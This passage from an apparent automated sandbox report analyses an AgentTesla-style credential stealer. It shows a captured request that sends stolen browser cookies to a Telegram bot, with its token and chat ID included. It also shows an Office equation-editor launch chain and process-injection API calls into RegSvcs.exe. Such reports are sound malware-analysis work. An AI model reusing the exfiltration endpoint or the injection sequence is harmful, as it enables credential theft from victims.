2022-08-08 15:18:59 UTC	191	OUT	POST /bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8da796756c9caf4 Host: api.telegram.org Content-Length: 5245 Expect: 100-continue
2022-08-08 15:18:59 UTC	191	IN	HTTP/1.1 100 Continue
2022-08-08 15:18:59 UTC	191	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 37 35 36 63 39 63 61 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 2d 36 32 34 38 33 34 36 34 31 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 37 35 36 63 39 63 61 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 43 6f 6f 6b 69 65 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 41 6c 62 75 73 2f 34 37 32 38 34 37 0a 4f 53 Data Ascii: -----------------------------8da796756c9caf4Content-Disposition: form-data; name="chat_id"-624834641-----------------------------8da796756c9caf4Content-Disposition: form-data; name="caption"New Cookie Recovered!User Name: user/472847OS
2022-08-08 15:18:59 UTC	192	OUT	Data Raw: 4e 3c b6 2a 97 a2 6c 56 8b 79 d9 f8 4a 33 4e 8f 12 37 1a 09 f2 09 17 ce c5 49 83 b3 e7 71 95 58 8c 6a be 32 25 5e 8f 29 98 4e 6c 84 9d 34 91 14 61 a1 9e d6 d0 66 37 59 ed 26 6a fc 50 46 b5 21 2c 46 fb 32 1b 45 64 19 1e 84 26 2a 3e 21 ea 61 75 40 80 9c a4 63 48 32 6b df 27 5e 23 48 21 c7 48 ab c3 6e 24 0c a4 31 97 28 78 4a d3 50 79 8a 56 93 94 a2 c2 64 23 77 4c 8e 31 37 49 8e 31 f7 20 30 30 9b e5 e2 eb ed cd 5a 1d 32 9c 17 05 04 85 33 07 fb 91 8c 60 4a 64 cc bd 8e 4f d0 c6 a6 2a 75 d1 6a e5 a8 9e 9c d7 4f d4 69 16 28 75 69 d8 2b aa 34 39 f6 60 62 a3 9a 07 06 b0 f9 be 91 de 4f ca 67 a6 07 83 82 79 e5 d0 c9 2a 60 32 96 59 d4 73 d0 63 08 fa 1d 7a 0c 3d f3 0b 3c 71 00 00 00 00 00 00 00 00 00 78 76 93 47 4e dc 05 1c 89 78 29 b3 6d 62 b5 28 66 f8 0b 39 91 e2 e1 Data Ascii: N<lVyJ3N7IqXj2%^)Nl4af7Y&jPF!,F2Ed&>!au@cH2k'^#H!Hn$1(xJPyVd#wL17I1 00Z23`JdOujOi(ui+49`bOgy`2Yscz=<qxvGNx)mb(f9
2022-08-08 15:18:59 UTC	196	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 37 39 36 37 35 36 63 39 63 61 66 34 2d 2d 0d 0a Data Ascii: -----------------------------8da796756c9caf4--
2022-08-08 15:19:00 UTC	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 08 Aug 2022 15:19:00 GMT Content-Type: application/json Content-Length: 656 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":1841,"from":{"id":5520247480,"is_bot":true,"first_name":"Gentlelogger","username":"gentlelogger_bot"},"chat":{"id":-624834641,"title":"Result Panel","type":"group","all_members_are_administrators":true},"date":1659971940,"document":{"file_name":"user-472847 2022-08-08 05-56-07.zip","mime_type":"application/zip","file_id":"BQACAgEAAxkDAAIHMWLxKWQr-_uXqudNDJEEacn7GJxtAAI-AwACOBiIR-UpSrV_q0l-KQQ","file_unique_id":"AgADPgMAAjgYiEc","file_size":4657},"caption":"New Cookie Recovered!\n\nUser Name: user/472847\nOSFullName: Microsoft Windows 7 Professional \nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}

Target ID:	0
Start time:	17:18:11
Start date:	08/08/2022
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fda0000
File size:	1423704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	17:18:13
Start date:	08/08/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	17:18:20
Start date:	08/08/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	17:18:21
Start date:	08/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c%tmp%\Client.exe A C
Imagebase:	0x4a6d0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	9
Start time:	17:18:22
Start date:	08/08/2022
Path:	C:\Users\user\AppData\Local\Temp\Client.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\Client.exe A C
Imagebase:	0xac0000
File size:	8192 bytes
MD5 hash:	7E2FF60FD955B39768565DFE645E49C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000009.00000002.932287438.0000000003109000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 00000009.00000002.932391087.0000000003169000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 20%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	10
Start time:	17:18:25
Start date:	08/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xc30000
File size:	45216 bytes
MD5 hash:	62CE5EF995FD63A1847A196C2E8B267B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.986609163.0000000002390000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 0000000A.00000000.926194509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate

Show Windows behavior

Target ID:	12
Start time:	17:18:51
Start date:	08/08/2022
Path:	C:\Users\user\AppData\Local\Temp\Client.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Client.exe"
Imagebase:	0x1230000
File size:	8192 bytes
MD5 hash:	7E2FF60FD955B39768565DFE645E49C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	13
Start time:	17:18:51
Start date:	08/08/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	17:18:53
Start date:	08/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xc30000
File size:	45216 bytes
MD5 hash:	62CE5EF995FD63A1847A196C2E8B267B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.1003248820.00000000020EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	16
Start time:	17:18:54
Start date:	08/08/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Target ID:	17
Start time:	17:18:54
Start date:	08/08/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c%tmp%\Client.exe A C
Imagebase:	0x49e80000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: Client.exePID: 1920, Parent PID: 2244

General

Target ID:	20
Start time:	17:18:56
Start date:	08/08/2022
Path:	C:\Users\user\AppData\Local\Temp\Client.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\Client.exe A C
Imagebase:	0x1230000
File size:	8192 bytes
MD5 hash:	7E2FF60FD955B39768565DFE645E49C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	21
Start time:	17:19:00
Start date:	08/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xc30000
File size:	45216 bytes
MD5 hash:	62CE5EF995FD63A1847A196C2E8B267B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000015.00000002.1193449278.00000000022DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Execution Graph

Execution Coverage:	27.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	61.3%
Total number of Nodes:	31
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 002F28C9 Relevance: 2.2, Strings: 1, Instructions: 997
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.@Fl, xrefs: 002F3180

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID:
String ID: .@Fl
API String ID: 0-4078194465
Opcode ID: 8533dfcd0c503856c15572adf80bc6317c085a5d3aca5b13066833a37fbce3ea
Instruction ID: 3485987ee46beb1138e7711217d7101e5cbf8343d87afb0f95269a07d4fa203e
Opcode Fuzzy Hash: 8533dfcd0c503856c15572adf80bc6317c085a5d3aca5b13066833a37fbce3ea
Instruction Fuzzy Hash: 3AA2FE74A452298FEB64DF24C994BEDB7B2AB89304F1080EAD50DA7395DB319EC1CF50

Uniqueness

Uniqueness Score: -1.00%

Function 002F2068 Relevance: .4, Instructions: 400
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ea07f3681bdae6bded9a5283f4174a035fc70686c138db6e2cef4df775e5a92
Instruction ID: 7b07ea2e1c26e1e2b493232f33cfd8e211c580f16b3727392b0aee1c802a92be
Opcode Fuzzy Hash: 3ea07f3681bdae6bded9a5283f4174a035fc70686c138db6e2cef4df775e5a92
Instruction Fuzzy Hash: 13F13EB4E04219CFDB58DFA4C994BEEB7B2AF88315F54C069DA08A7340DB349A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 002F3B1D Relevance: 1.8, APIs: 1, Instructions: 343
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 002F3E3A

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c14877d595b15a6a32d5942af5b40a781ff64f9caa357cd325258cfddc722bcb
Instruction ID: 5fc63c21fdda91c7f41fcc1198a350ddbbdea126ba1352673222e905e016686b
Opcode Fuzzy Hash: c14877d595b15a6a32d5942af5b40a781ff64f9caa357cd325258cfddc722bcb
Instruction Fuzzy Hash: B6D15670D1421D8FDB20CFA8C845BEDBBB1BF49314F0095AAE909B7280DB749A95CF95

Uniqueness

Uniqueness Score: -1.00%

Function 002F3B28 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 002F3E3A

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f52597869ccf3de2e3f8914161e2573df9be2ff51cd318aa90cecb1a1e4ea423
Instruction ID: e53c0613605dd71903308daf671ac8af1768716d199794fb983bc428f562e75b
Opcode Fuzzy Hash: f52597869ccf3de2e3f8914161e2573df9be2ff51cd318aa90cecb1a1e4ea423
Instruction Fuzzy Hash: EFD15770D1421D8FDB20CFA8C845BEDBBB1BF49314F0095AAE509B7280DB749A95CF95

Uniqueness

Uniqueness Score: -1.00%

Function 002F4658 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 002F4733

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e45e77d8c8d071ca51943ddaf3d1da944b353f35d0fc298e2553869f706e3c88
Instruction ID: eef7c117612249324f3577861779559138df02223e820b057253e047b296e24a
Opcode Fuzzy Hash: e45e77d8c8d071ca51943ddaf3d1da944b353f35d0fc298e2553869f706e3c88
Instruction Fuzzy Hash: 7841BBB4D012489FCB00DFA9D984AEEFBF1BB49314F10942AE914B7210D778AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 002F4660 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 002F4733

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 2ebb05c9bdad42a6695a7d0ff76ce299a4590ccfec46a98a8d0cdb76d454ca70
Instruction ID: e716b3e668c6f511a6330d18948e0521db82c06a64004ba0c777911f669593a5
Opcode Fuzzy Hash: 2ebb05c9bdad42a6695a7d0ff76ce299a4590ccfec46a98a8d0cdb76d454ca70
Instruction Fuzzy Hash: 1F41BAB4D012489FCF00DFA9D984AEEFBF1BB49314F20942AE918B7210D774AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 002F48B1 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 002F4962

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aa06765f625013d96d4cdac36425989ccfc039e5a47b4f1475988215676619c7
Instruction ID: a7056ad6c5334dc6adc5ac9dff9cf6345a49acfb456f986109956cf490b16619
Opcode Fuzzy Hash: aa06765f625013d96d4cdac36425989ccfc039e5a47b4f1475988215676619c7
Instruction Fuzzy Hash: 804197B4D042489FCF10CFA9D884AEEFBB1AB49314F10A42AE915B7210D775A946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 002F48B8 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 002F4962

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c7a446644d551a3f3560594a939b97fc452902eab0f964ca1c691fcd0d6ae92f
Instruction ID: 154ab02d07d01bd4e21799f54e14c1c717597eb6db14a3948747da54e6ee21e9
Opcode Fuzzy Hash: c7a446644d551a3f3560594a939b97fc452902eab0f964ca1c691fcd0d6ae92f
Instruction Fuzzy Hash: DC3197B4E002489FCF00CFA9D884AAEFBB1BB49310F10A42AE914B7310D775A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 002F4000 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 002F40AF

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2952d8ca8f43c2965a256051fffbe527670ecbf42ef232b973b6f345110d0433
Instruction ID: 72537885aa6453c8b5cce24e6d1d8876b1537f1bfa6c6e55d47e3856c6c04f4b
Opcode Fuzzy Hash: 2952d8ca8f43c2965a256051fffbe527670ecbf42ef232b973b6f345110d0433
Instruction Fuzzy Hash: 3E31DCB4D002589FCB10CFA9D884AEEFBF0BF49314F14842AE508B7240D778A949CF95

Uniqueness

Uniqueness Score: -1.00%

Function 002F49D8 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 002F4A56

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3a2e6ec800d04eb8830a506ee20ead5fe6e82dadac8e514707828b66ea58d333
Instruction ID: ab33feeb7f5c7304db5db5d2cf7f44d5442c328f9442567032f3f07d0420adaf
Opcode Fuzzy Hash: 3a2e6ec800d04eb8830a506ee20ead5fe6e82dadac8e514707828b66ea58d333
Instruction Fuzzy Hash: 1031CAB4D0125C9FCB10CFA9D884AAEFBB0AF49314F10982AE918B7300D775A901CF95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002F2061 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.927808510.00000000002F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2f0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3895926f5dfaf85f2b94f237a65972ada1e5aecbe919f33653fab4abf3b7ce6a
Instruction ID: d97e31c1e430ff9ceb3ecbde1ed5174aecadbbff1b2ab9696477f25d4851b8ec
Opcode Fuzzy Hash: 3895926f5dfaf85f2b94f237a65972ada1e5aecbe919f33653fab4abf3b7ce6a
Instruction Fuzzy Hash: 5E9129B4E042188FDB58DFA9C884BEEB7B6AF89315F44C479DA08E7341DB345A848F51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 2656, Parent PID: 2348COMMON

Execution Graph

Execution Coverage:	26%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	402
Total number of Limit Nodes:	10

Executed Functions

Function 00A80C08 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 00A83414

Strings

PBg, xrefs: 00A80C08

Memory Dump Source

Source File: 0000000A.00000002.985543176.0000000000A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a80000_RegSvcs.jbxd

Similarity

API ID: Open
String ID: PBg
API String ID: 71445658-2187603678
Opcode ID: fd300481d6d3e7637039b3742788325ae9389a1dda9767f23c53ab62dd73df18
Instruction ID: 290d9eb60b72d5a2fa236ae5d96e8b65a91024a9fe41eafd016f6466cbed7c12
Opcode Fuzzy Hash: fd300481d6d3e7637039b3742788325ae9389a1dda9767f23c53ab62dd73df18
Instruction Fuzzy Hash: BD3100B1D042499FDB00CF99C588A9EFBF1AF48314F24C56AE408AB301C7759984CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005A7652 Relevance: 3.3, APIs: 2, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7652
KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 14b5dc42d2cf0a0a05dc6a16ef6002bda8e3e53db9a795532226d2b61b6f3df9
Instruction ID: 6256bbbbcd6d5c39d1e57579d3d156610037defe505b606522b60950b17c9b3e
Opcode Fuzzy Hash: 14b5dc42d2cf0a0a05dc6a16ef6002bda8e3e53db9a795532226d2b61b6f3df9
Instruction Fuzzy Hash: 5B02B63491522CCFCB65DF28C98869DBB72BF4A305F2089EAD40AAA350DB315EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A7673 Relevance: 1.8, APIs: 1, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 29b936f52b8c8c0bf78dac448825935f45d8c8a04caf74a7b8324d3e7c4f7b9a
Instruction ID: 52acb17a3f9ee1dd1ed1647c2b8d74c1f84768cf17fa6b4eb04b9a2274103b72
Opcode Fuzzy Hash: 29b936f52b8c8c0bf78dac448825935f45d8c8a04caf74a7b8324d3e7c4f7b9a
Instruction Fuzzy Hash: BC02A43490522CCFCB65DF68C98869DBB72BF4A305F2089EAD40AA6350DB319EC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 005A76B8 Relevance: 1.8, APIs: 1, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 005A7AD5

Memory Dump Source

Source File: 0000000A.00000002.985106090.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5a0000_RegSvcs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
